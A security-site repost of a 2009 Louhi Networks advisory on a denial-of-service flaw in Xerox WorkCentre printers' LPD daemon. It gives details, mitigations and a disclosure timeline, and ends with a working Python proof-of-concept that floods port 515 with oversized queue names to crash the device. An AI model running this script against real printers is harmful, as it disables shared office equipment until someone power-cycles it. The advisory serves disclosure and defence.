首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xerox WorkCentre Multiple Models Denial of Service Exploit
来源:juho.ranta@louhi.fi 作者:Ranta 发布时间:2009-08-26  

#           Louhi Networks Information Security Research
#                        Security Advisory
#
#
#      Advisory: Xerox WorkCentre multiple models Denial of Service
#  Release Date: 2009/08/25
# Last Modified: 2009/08/25
#       Authors: Juho Ranta
#                [juho.ranta@louhi.fi]
#                Henri Lindberg, CISA
#                [henri.lindberg@louhi.fi]
#
#   Application: Xerox WorkCentre
#      Verified: Controller+PS ROM Version 1.202.1 and 1.202.5
#       Devices: Xerox WorkCentre 7132,
#         WC7232/7242, WC7328/7335/7345/7346 and
#                WC7425/28/35
#   Attack type: Denial of Service
#          Risk: Low
# Vendor Status: Patch available for WC7232/7242
#    References: http://www.louhinetworks.fi/advisory/xerox_0908.txt
#
# http://www.cert.fi/haavoittuvuudet/2009/haavoittuvuus-2009-081.html
#
# http://www.support.xerox.com/go/results.asp?Xtype=download&prodID=WC7232_WC7242&Xlang=en_US&Xcntry=USA
#
#
# Overview
#
#    Quote from http://www.xerox.com/
#    "The Xerox WorkCentre 7132 multifunction is the affordable transition
#     to the next level of productivity for your office. One easy-to-use
#     device offers powerful printing, copying, scanning, and faxing. The
#     WorkCentre 7132 also gives you color when you need it, for critical
#     documents and for added impact. Robust functions, straightforward
#     operation, and color within your budget . that should keep everyone
#     smiling and productive."
#
#     During a brief assessment performed for Xerox WorkCentre 7132 it was
#     discovered that LPD daemon implementation contains a weakness
#     related  to robustness of LPD protocol handling. Attacker can crash
#     the whole device with a relatively simple attack. Recovering from
#     the denial-of-service condition requires power cycling the device.
#
# Details
#
#     Device freezes when it is flooded with LPD requests having oversized
#     queue name length AND other features of the device are accessed
#     during the attack.
#
#     The LPD daemon terminates the connection when it receives a request
#     with an oversized queue name. The required minimum length for this
#     seems to vary. Our proof-of-concept attack sends ASCII character
#     blocks to the LPD daemon until connection is closed, while sending
#     HTTP requests to the web administration interface.
#
#     By flooding the device with these invalid LPD requests and accessing
#     other features at the same time, the device can be crashed. This was
#     verified with two different firmware versions (1.202.1 and 1.202.5).
#
#     It must be noted that successful denial-of-service attack requires
#     the steps described above. Sending requests with oversized queue
#     names does crash the device by itself.
#
#     Due to the black box nature of the performed attack against a
#     production device, we were not able to determine the exact root
#     cause for the crash. According to vendor this is caused by a memory
#     leak, but further exploitability or memory corruption has neither
#     been confirmed nor denied.
#
#     Vulnerability was detected with an LPD protocol implementation
#     written for Sulley Fuzzing Framework.
#
#
# Preconditions
#
#     *LPD daemon is enabled.
#     *Attacker has network access to the LPD daemon
#     *Attacker has network access to other features OR
#     *Valid user uses the device on location
#
#
# Symptoms of successful attack
#
#     One or more of the following:
#      *Control panel lights are blinking, no response to pushing buttons
#      *LCD panel displays error message
#      *LCD panel displays a halted progress bar
#      *Switching power off from on/off button takes more than 10 seconds
#
# Proof of Concept:
#
#     Python code available at:
#     http://www.louhinetworks.fi/advisory/xerox/exploit.py
#     http://www.louhinetworks.fi/advisory/xerox/webInterface.py
#
#     Pictures of a crashed control panel (Finnish language):
#     http://www.louhinetworks.fi/advisory/xerox/error1.jpg
#     http://www.louhinetworks.fi/advisory/xerox/freeze1.jpg
#
#     Web interface requests are performed with a separate Python
#     process/script in order to achieve more reliable exploitation under
#     Windows.
#
# Mitigation:
#
#     Preventive
#      *Install patch from vendor
#      *Configure IPS signature for LPD requests with oversized queue
#       names
#      *Allow only trusted users to access LPD daemon
#      *Disable LPD daemon
#
#     Detective
#      *Configure IDS signature for LPD requests with oversized queue
#       names
#
# Disclosure Timeline (selected dates):
#
#        X         2008    - Vulnerability discovered
#    3.  September 2008    - Contacted CERT-FI by email describing the
#                            issue with Xerox WC 7132
#    20. November  2008    - CERT-FI confirms vendor has been notified
#    21. January   2009    - Vendor is unable to reproduce the issue,
#                            but continues trying
#    22. January   2009    - Vulnerability reproduced, vendor investigates
#                            other devices. Apologizes slow response.
#    17. June      2009    - Vendor has identified vulnerable devices,
#                            patch due in July.
#    20. August    2009    - Patch available for download (only
#                            WC7232/7242)
#    25. August    2009    - Advisory released
#
# A Big Thank You to CERT-FI's Vulnerability Coordination for persistent
# coordination effort.
#
# Copyright 2009 Louhi Networks Oy. All rights reserved. No warranties,
# no liabilities, information provided 'as is' for educational purposes.
# Reproduction allowed as long as credit is given. Information wants to
# be free.

import socket
import sys
import os
import httplib
import signal

if len(sys.argv) < 2:
    print("Usage: python exploit.py printerIpAddress")
    print("After the script is started, execute the webInterface.py script")
    sys.exit(0)

ipAddress = sys.argv[1]


i = 0

while True:
    i += 1
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ipAddress, 515))

    except:
        # If the connection fails, printer has crashed
        print("Unable to connect")
        sys.exit(0)

    # Send receive a printer job -command. Queue name will be as long as
    # possible. The printer will disconnect when the queue name has reached it's
    # maximum length
    s.send("\x02")
    j = 0
    while True:
        j += 1
        s.send("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
        print(str(i) + "." + str(j))
       
    s.close()

    print(i)


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel <= 2.6.31-rc7 AF_
·Cerberus FTP 3.0.1 (ALLO) Remo
·Media Jukebox 8 ( .M3U) Univer
·Novell Client for Windows 2000
·ProFTP 2.9 (welcome message) R
·Lotus note connector for Black
·Adobe Reader version 8.0.0 den
·ProShow Producer / Gold 4.0.25
·PDFZilla version 1.0.8 Active-
·HyperVM File Permissions Local
·RM Downloader local stack over
·Mozilla Firefox 3.0.5 location
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved